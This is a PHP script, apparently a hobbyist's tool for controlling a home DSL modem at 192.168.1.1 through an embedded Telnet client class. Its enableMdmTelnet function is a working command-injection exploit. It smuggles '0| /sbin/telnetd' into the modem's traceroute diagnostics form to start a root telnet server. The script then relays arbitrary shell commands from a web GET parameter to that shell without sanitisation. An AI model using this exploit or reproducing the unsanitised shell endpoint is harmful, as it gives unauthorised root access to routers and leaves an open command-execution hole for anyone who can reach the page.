<?php
set_time_limit(0);
$mdmip = '192.168.1.1';
foreach ($_GET as $k => $v) {
if ($k == 'reboot') {
header('Content-type: text/plain');
echo executeMdmShellCmd('reboot');
}
if ($k == 'shellcmd') {
header('Content-type: text/plain');
echo executeMdmShellCmd($v);
}
/*
if ($k == 'alltx') {
header('Content-type: text/plain');
all_tx_script();
}
*/
if ($k == 'dslcmd') {
header('Content-type: text/plain');
echo mdmDSLCPECmd($v);
}
if ($k == 'resync') {
header('Content-type: text/plain');
echo mdmDSLCPECmd('g997pmsft 3');
sleep(10);
echo mdmDSLCPECmd('g997pmsft 0');
}
if ($k == 'download') {
$f = split("/",$v);
$fn = $f[(count($f)-1)];
if (strpos($fn,'.') == '') {
$fn .= ".bin";
}
$data = getBinaryFileFromTelnet($v);
if (strlen($data) > 0) {
header('Content-Disposition: attachment; filename="'.$fn.'"');
header('Content-length: '.strlen($data));
echo $data;
}
}
}
function getBinaryFileFromTelnet($f) {
$prelim = executeMdmShellCmd('cmp -l /dev/zero "'.$f.'" 2>/dev/null');
$prelim = split("\n",$prelim);
$odat = '';
$len = split(" ",$prelim[(count($prelim)-1)]);
$len = $len[0];
for ($i=0;$i<$len;$i++) {
$bindat[$i] = chr(0);
}
foreach ($prelim as $line) {
$l = split(" ",$line);
$oct = $l[(count($l)-1)];
$bindat[($l[0]-1)] = chr(octdec($oct));
}
unset($prelim);
foreach ($bindat as $byte) {
$odat .= $byte;
}
unset($bindat);
return $odat;
}
function mdmDSLCPECmd($c) {
return executeMdmShellCmd('/etc/InfineonScripts/dsl_cpe_pipe.sh 0 '.$c);
/*
executeMdmShellCmd('echo "'.$c.'" > /tmp/pipe/dsl_cpe0_cmd');
sleep(1);
return executeMdmShellCmd('cat /tmp/pipe/dsl_cpe0_ack');
*/
}
function all_tx_script() {
// this script is on the modem, but doesn't work due to missing 'cut' cmd
// /etc/InfineonScripts/all_tx.sh
// dunno what it does, only seems to desync my adsl1 line
mdmDSLCPECmd('alf . .');
mdmDSLCPECmd('alf . ');
mdmDSLCPECmd('acs 0');
mdmDSLCPECmd('cw cntl 0 0 8');
all_tx_wa_loop(2,0);
mdmDSLCPECmd('cw test 7 0 4');
mdmDSLCPECmd('cw test 7 0 1');
all_tx_wa_loop(6,15);
all_tx_wa_loop(7,'D03');
mdmDSLCPECmd('cw test 7 0 4');
mdmDSLCPECmd('cw test 7 0 6');
mdmDSLCPECmd('cw test 7 0 2');
all_tx_wa_loop(5,'1A0D');
mdmDSLCPECmd('cw test 6 0 0');
mdmDSLCPECmd('cw test 6 0 1');
sleep(15);
}
function all_tx_wa_loop($a,$b) {
mdmDSLCPECmd('dms 00A1 0000 0003 C0E8 $a');
mdmDSLCPECmd('dms 00A1 0000 0003 1F48 0020');
mdmDSLCPECmd('dms 00A1 0000 0003 C0F0 $b');
$result = '';
while ($result != '0x0030') {
$res = mdmDSLCPECmd('dms 0021 0000 0003 1F48 0000');
$res = getBetween($res,'nData="','"');
$result = trim($res);
}
}
function executeMdmShellCmd($cmd) {
global $mdmip;
$i = 0;
$telnet = new Telnet($mdmip);
tstart:
$i++;
// Define prompt as something unique that will not exist in any file
$myprompt = chr(174).'zshell'.chr(175).' ';
$result = $telnet->connect();
if ($result != false) {
// Wait for default prompt
$telnet->setPrompt('#');
$telnet->waitPrompt();
// Prepare for new prompt
$telnet->setPrompt($myprompt);
// Set new prompt
echo $telnet->exec("PS1='".$myprompt."'");
$telnet->waitPrompt();
// Now we can execute a command
$res = $telnet->exec($cmd);
$telnet->disconnect();
$res = preg_replace("/\r/",'',$res);
// Remove the echoed back command
$resn = split("\n",$res);
unset($resn[0]);
$res = implode("\n",$resn);
return $res;
} else {
// If telnet server is not running, enable it via exploit.
// then try to execute our command again, up to 3 times.
if ($i < 3) {
enableMdmTelnet();
sleep(2);
goto tstart;
} else {
// Failure to start telnet server, or connect to it, or whatever
}
}
}
function enableMdmTelnet() {
// Using an exploit, activate the telnet server
$cmd = "/sbin/telnetd";
$passwd = $_SERVER['PHP_AUTH_PW'];
$c['next_page'] = "/htmlV/adv_diagnostics.asp";
$c['Self_Test'] = "";
$c['Ping_ISP_Router'] = "";
$c['diag_dns'] = "";
$c['diag_ping'] = "";
$c['diag_traceroute'] = "0| ".$cmd;
$c['diag_traceroute_maxhops'] = 1;
$cf = "";
foreach ($c as $k => $v) {
$cf .= $k."=".urlencode($v)."&";
}
$cf = rtrim($cf,"&");
// Send the command
$u = "admin:".$passwd."@192.168.1.1/goform/EventForm";
$ch = curl_init();
$timeout = 10;
curl_setopt($ch, CURLOPT_URL, $u);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS, $cf);
$data = curl_exec($ch);
curl_close($ch);
/*
// This section was for getting cmd results prior to the smarter telnet method
// Retained for informal purposes
// Give the modem a bit to process the command
sleep(2);
// Request the form which is magically populated with the results
$u = "admin:".$passwd."@192.168.1.1".$c['next_page'];
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $u);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
// Filter out HTML
$res = getBetween($data,"--- Trace Route Test Results ---\n","</TEXTAREA>");
// Return raw shell command result
return $res;
*/
}
function getBetween($src,$start,$end) {
$c1 = (strpos($src,$start) + strlen($start));
$c2 = strpos($src,$end,$c1);
return substr($src,$c1,($c2 - $c1));
}
/**
* Telnet class
*
* Used to execute remote commands via telnet connection
* Usess sockets functions and fgetc() to process result
*
* All methods throw Exceptions on error
*
* Written by Dalibor Andzakovic <[email protected]>
* Based on the code originally written by Marc Ennaji and extended by
* Matthias Blaser <[email protected]>
*/
class Telnet {
private $host;
private $port;
private $timeout;
private $socket= NULL;
private $buffer = NULL;
private $prompt;
private $errno;
private $errstr;
private $NULL;
private $DC1;
private $WILL;
private $WONT;
private $DO;
private $DONT;
private $IAC;
const TELNET_ERROR = FALSE;
const TELNET_OK = TRUE;
/**
* Constructor. Initialises host, port and timeout parameters
* defaults to localhost port 23 (standard telnet port)
*
* @param string $host Host name or IP addres
* @param int $port TCP port number
* @param int $timeout Connection timeout in seconds
* @return void
*/
public function __construct($host, $port = '23', $timeout = 10){
$this->host = $host;
$this->port = $port;
$this->timeout = $timeout;
// set some telnet special characters
$this->NULL = chr(0);
$this->DC1 = chr(17);
$this->WILL = chr(251);
$this->WONT = chr(252);
$this->DO = chr(253);
$this->DONT = chr(254);
$this->IAC = chr(255);
$this->connect();
}
/**
* Destructor. Cleans up socket connection and command buffer
*
* @return void
*/
public function __destruct() {
// cleanup resources
$this->disconnect();
$this->buffer = NULL;
}
/**
* Attempts connection to remote host. Returns TRUE if sucessful.
*
* @return boolean
*/
public function connect(){
// check if we need to convert host to IP
if (!preg_match('/([0-9]{1,3}\\.){3,3}[0-9]{1,3}/', $this->host)) {
$ip = gethostbyname($this->host);
if($this->host == $ip){
throw new Exception("Cannot resolve $this->host");
} else{
$this->host = $ip;
}
}
// attempt connection
$this->socket = @fsockopen($this->host, $this->port, $this->errno, $this->errstr, $this->timeout);
if (!$this->socket){
return false;
}
return self::TELNET_OK;
}
/**
* Closes IP socket
*
* @return boolean
*/
public function disconnect(){
if ($this->socket){
if (! fclose($this->socket)){
throw new Exception("Error while closing telnet socket");
}
$this->socket = NULL;
}
return self::TELNET_OK;
}
/**
* Executes command and returns a string with result.
* This method is a wrapper for lower level private methods
*
* @param string $command Command to execute
* @return string Command result
*/
public function exec($command, $addNewLine=true) {
$this->write($command, $addNewLine);
$this->waitPrompt(1);
return $this->getBuffer();
}
/**
* Attempts login to remote host.
* This method is a wrapper for lower level private methods and should be
* modified to reflect telnet implementation details like login/password
* and line prompts. Defaults to standard unix non-root prompts
*
* @param string $username Username
* @param string $password Password
* @return boolean
*/
public function login($username, $password) {
try{
$this->setPrompt('ogin:');
$this->waitPrompt();
$this->write($username);
$this->setPrompt('assword:');
$this->waitPrompt();
$this->write($password);
//$this->setPrompt();
//$this->waitPrompt();
} catch(Exception $e){
throw new Exception("Login failed.");
}
return self::TELNET_OK;
}
/**
* Sets the string of characters to respond to.
* This should be set to the last character of the command line prompt
*
* @param string $s String to respond to
* @return boolean
*/
public function setPrompt($s = '$'){
$this->prompt = $s;
return self::TELNET_OK;
}
/**
* Gets character from the socket
*
* @return void
*/
private function getc() {
return fgetc($this->socket);
}
/**
* Clears internal command buffer
*
* @return void
*/
private function clearBuffer() {
$this->buffer = '';
}
/**
* Reads characters from the socket and adds them to command buffer.
* Handles telnet control characters. Stops when prompt is ecountered.
*
* @param string $prompt
* @return boolean
*/
private function readTo($prompt){
if (!$this->socket){
throw new Exception("Telnet connection closed");
}
// clear the buffer
$this->clearBuffer();
do{
$c = $this->getc();
if ($c === false){
throw new Exception("Couldn't find the requested : '" . $prompt . "', it was not in the data returned from server : '" . $buf . "'");
}
if ($c == $this->IAC) {
if ($this->negotiateTelnetOptions()){
continue;
}
}
// append current char to global buffer
$this->buffer .= $c;
// we've encountered the prompt. Break out of the loop
if ((substr($this->buffer, strlen($this->buffer) - strlen($prompt))) == $prompt){
return self::TELNET_OK;
}
} while($c != $this->NULL || $c != $this->DC1);
}
/**
* Write command to a socket
*
* @param string $buffer Stuff to write to socket
* @param boolean $addNewLine Default true, adds newline to the command
* @return boolean
*/
public function write($buffer, $addNewLine=true){
if (!$this->socket){
throw new Exception("Telnet connection closed");
}
// clear buffer from last command
$this->clearBuffer();
if ($addNewLine == true){
$buffer .= "\n";
}
if (!fwrite($this->socket, $buffer) < 0){
throw new Exception("Error writing to socket");
}
return self::TELNET_OK;
}
/**
* Returns the content of the command buffer
*
* @return string Content of the command buffer
*/
private function getBuffer(){
// cut last line (is always prompt)
$buf = explode("\n", $this->buffer);
unset($buf[count($buf)-1]);
$buf = implode("\n",$buf);
return trim($buf);
}
/**
* Telnet control character magic
*
* @param string $command Character to check
* @return boolean
*/
private function negotiateTelnetOptions(){
$c = $this->getc();
if ($c != $this->IAC){
if (($c == $this->DO) || ($c == $this->DONT)){
$opt = $this->getc();
fwrite($this->socket, $this->IAC . $this->WONT . $opt);
} else if (($c == $this->WILL) || ($c == $this->WONT)) {
$opt = $this->getc();
fwrite($this->socket, $this->IAC . $this->DONT . $opt);
} else {
throw new Exception('Error: unknown control character ' . ord($c ));
}
} else{
throw new Exception('Error: Something Wicked Happened');
}
return self::TELNET_OK;
}
/**
* Reads socket until prompt is encountered
*/
public function waitPrompt(){
$prompt = $this->prompt;
return $this->readTo($prompt);
}
}
Comments